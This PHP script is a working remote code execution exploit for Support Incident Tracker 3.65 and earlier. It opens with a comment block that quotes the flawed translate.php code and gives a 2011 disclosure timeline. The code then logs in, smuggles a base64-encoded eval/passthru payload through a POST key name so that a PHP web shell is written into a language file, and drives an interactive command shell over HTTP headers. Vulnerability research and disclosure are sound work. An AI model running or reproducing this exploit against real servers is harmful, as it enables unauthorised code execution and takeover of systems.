<?php
/*
------------------------------------------------------------------------------
Support Incident Tracker <= 3.65 (translate.php) Remote Code Execution Exploit
------------------------------------------------------------------------------
author...............: Egidio Romano aka EgiX
mail.................: n0b0d13s[at]gmail[dot]com
software link........: http://sitracker.org/
affected versions....: from 3.45 to 3.65
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] vulnerable code in /translate.php
234. foreach (array_keys($_POST) as $key)
235. {
236. if (!empty($_POST[$key]) AND substr($key, 0, 3) == "str")
237. {
238. if ($lastchar!='' AND substr($key, 3, 1) != $lastchar) $i18nfile .= "\n";
239. $i18nfile .= "\${$key} = '".addslashes($_POST[$key])."';\n";
240. $lastchar = substr($key, 3, 1);
241. $translatedcount++;
242. }
243. }
Input passed via keys of $_POST array isn't properly sanitized before being stored into $i18nfile variable
at line 239, that variable will be the contents of a language file stored into 'i18n' directory with a php
extension. This could allow authenticated users to inject and execute arbitrary PHP code. Furthermore,
access directly to /translate.php?mode=save will reveal the full installation path of the application.
[-] Disclosure timeline:
[13/11/2011] - Vulnerability discovered
[13/11/2011] - Issue reported to http://bugs.sitracker.org/view.php?id=1737
[13/11/2011] - Vendor replied that this issue is fixed in the current SVN trunk
[19/11/2011] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");
fwrite($sock, $packet);
return stream_get_contents($sock);
}
print "\n+------------------------------------------------------------------------+";
print "\n| Support Incident Tracker <= 3.65 Remote Code Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
print "\nExample....: php $argv[0] localhost / user pass";
print "\nExample....: php $argv[0] localhost /sit/ user pass\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "username={$argv[3]}&password={$argv[4]}";
$packet = "POST {$path}login.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: SiTsessionID=foo\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
$response = http_send($host, $packet);
if (!preg_match("/main.php/", $response)) die("\n[-] Login failed!\n");
if (!preg_match("/Set-Cookie: ([^;]*);/", $response, $sid)) die("\n[-] Session ID not found!\n");
$phpcode = base64_encode('passthru(base64_decode($_SERVER[HTTP_CMD]));print("___");');
$payload = "mode=save&lang=sh&str;eval(base64_decode({$phpcode}));//=1";
$packet = "POST {$path}translate.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
http_send($host, $packet);
$packet = "GET {$path}i18n/sh.inc.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\nsit-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?>
